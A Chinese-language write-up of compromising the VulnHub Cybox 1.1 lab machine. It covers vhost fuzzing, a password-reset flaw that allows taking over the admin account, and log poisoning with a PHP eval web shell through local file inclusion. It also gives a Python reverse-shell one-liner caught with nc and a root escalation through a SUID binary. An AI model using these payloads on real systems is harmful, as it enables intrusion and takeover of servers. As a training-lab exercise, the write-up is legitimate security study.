Cybox: 1.1靶机攻略
前情提要
靶机地址:
https://www.vulnhub.com/entry/cybox-11,607/ (需要梯子否则域名会跳转至别处)
kali地址:https://www.kali.org/get-kali/#kali-platforms (可能需要梯子)
靶机版本:Cybox-1.1
kali版本:kali-linux-2024.4-vmware-amd64
虚拟机平台:VMware Workstation PRO 17
网卡模式:仅主机
kali IP:192.168.136.130
靶机 IP:192.168.136.128
靶机介绍:
你能攻破 CYBOX 公司的内部服务器吗?
难度:中等
目标:获取 user.txt 和 root.txt
渗透开始:
信息收集:
目前已知目标靶机IP地址192.168.136.128,现在使用nmap工具对主机进行扫描。
打开控制台切换用户sudu su输入kali账户的密码,接着使用-sS -sV -T4 -A -p-这些参数扫描。

发现ftp、smtp、http、pop3、imap、ssl服务对外开放端口,我们先上网站看看有啥内容,打开浏览器访问靶机IP192.168.136.128

除了admin@cybox.company 邮箱地址外没有啥线索了,使用dirb 工具常规爆破一下网站目录看看,控制台输入
dirb http://192.168.136.128/ 
发现两个可疑地址 assets 和 phpmyadmin,访问后发现 assets 下只有css和js这些无关竟要的文件,phpmyadmin只允许127.0.0.1访问。没辙了,看了一下其他人的攻略线索在域名的主机名上,也就是要扫描网站的 Vhost 。
接下来我们编辑 /etc/hosts 文件,在其中添加 192.168.136.128 cybox.company 解析域名至其IP地址

使用 gobuster 工具对VHost对象进行暴破,在控制台中输入
gobuster vhost -u http://cybox.company -w /usr/share/wordlists/dirb/big.txt
这个工具貌似不行,我们换一个,使用wfuzz工具,顺便换个字典:directory_list_2.3_medium.txt
将其下载至 /home/kali 目录下,在控制台输入
wfuzz -H 'HOST: FUZZ.cybox.company' -u 'http://192.168.136.128' -w /home/kali/directory-list-2.3-medium.txt --hw 489,27等待结果报告

这里可以看到五个Vhost,我们挨个访问看看
php的站点描述信息

FTP站点

创建用户的站点?

邮件站点

显示器站点?

在 monitor.cybox.company 站点上注册一个新用户aaa,点击网站中的 Register


Entry 和 Departure 两个按钮都要点,然后点击退出登录,点击Forgot password? 忘记密码,输入刚刚注册的账户 aaa@cybox.company
接着切换至 register.cybox.company 注册同名用户aaa

再切换至 webmail.cybox.company 进行登录,密码就是用户名


这里可以看到之前的忘记密码邮件,点进去后

给了一个链接http://monitor,cybox.company/updatePasswordReguest.php?email=aaa@cybox.company
这里发现重置密码的链接都是一个样子的,存在越权修改的漏洞,只需要修改后面的邮箱地址即可,因此我们只要发送重置admin用户的密码请求即可访问修改其密码。
我们切换至monitor.cybox.company 点击 Forgot password? 忘记密码,输入admin@cybox.company

然后将链接后面的 aaa@cybox.company 修改为 admin@cybox.company 访问即可重置 admin 用户的密码

随后登录 admin 账户

点击 Admin panel 管理面板

没啥意思,右键查看网页源代码

发现有web文件包含漏洞,尝试进行日志文件包含上传一句话木马,验证一下是否可用
http://monitor.cybox.company/admin/styles.php?style=../../../../../../etc/passwd%00../ 是返回上一个目录,只要一个个添加就能回到 / 根目录,然后访问 /etc/passwd 文件
在 http://dev.cybox.company/phpinfo.php 页面发现网站日志所在位置

访问如下地址:
http://monitor.cybox.company/admin/styles.php?style=../../../../../../opt/bitnami/apache2/logs/access_log%00&如果看到一片空白不要慌,你去访问一下FTP站点,点击接受Save cookie choice 刷新页面即可

接着,打开工具 BurpSuitePro 打开抓包,访问FTP站点,然后改包

再第二行与第三行之间插入一行 User-Agent:<?php @eval($_POST['a']);?>

修改完成后 Send 发送即可,然后再访问 s=id 页面搜索 uid 能看到查看id的命令执行成功了
http://monitor.cybox.company/admin/styles.php?style=../../../../../../opt/bitnami/apache2/logs/access_log%00&s=id
接下来可以制作一个反弹shell建立连接,由于靶机设置了防火墙的进站和出站限制,除了白名单可以许可的端口外,都进行的限制,不能进行监听。所以不是白名单的端口,一般都会监听失败。这里使用 443 端口进行连接
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.136.128',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"把这个放在s=后面,其中的IP地址是你自己的kali IP地址,不要搞混了,建立连接的原理是从靶机内部发送一个请求与kali建立连接,这个传到渗透机后,需要在kali中对其进行监听即可建立通信。
在控制台中输入 nc -nvlp 443

成功进入后先查看当前用户能够执行的文件有哪些,在控制台输入 find / -perm -u=s -type f 2>/dev/null
我们能够在上图中看到其中有一个名为 registerlauncher 文件
我们将其转为字符串查看文件内容,切换至其文件所在目录 cd /opt 在控制台输入 strings registerlauncher

发现新的可疑文件,查看其内容 strings register

发现这是一个创建Linux用户的脚本,registerlauncher 即脚本启动器,用此脚本创建的用户具有高权限.
打开交互式shell界面,在控制台中输入 python -c 'import pty; pty.spawn("/bin/bash")'

接着输入 ./registerlauncher sudo 创建一个名为 sudo 的用户,此举是为了混淆 sudo 命令与 sudo 用户名

输入 su sudo 切换至 sudo 用户,随后使用 sudo 命令进行提权,后面跟什么命令无所谓,重要的是用 sudo 命令让系统向我们索要sudo 用户的密码

查看flag文件得到flag


难度其实在我玩过的靶机中只能算简单,就只有vhost是我的知识盲区,没想到这个点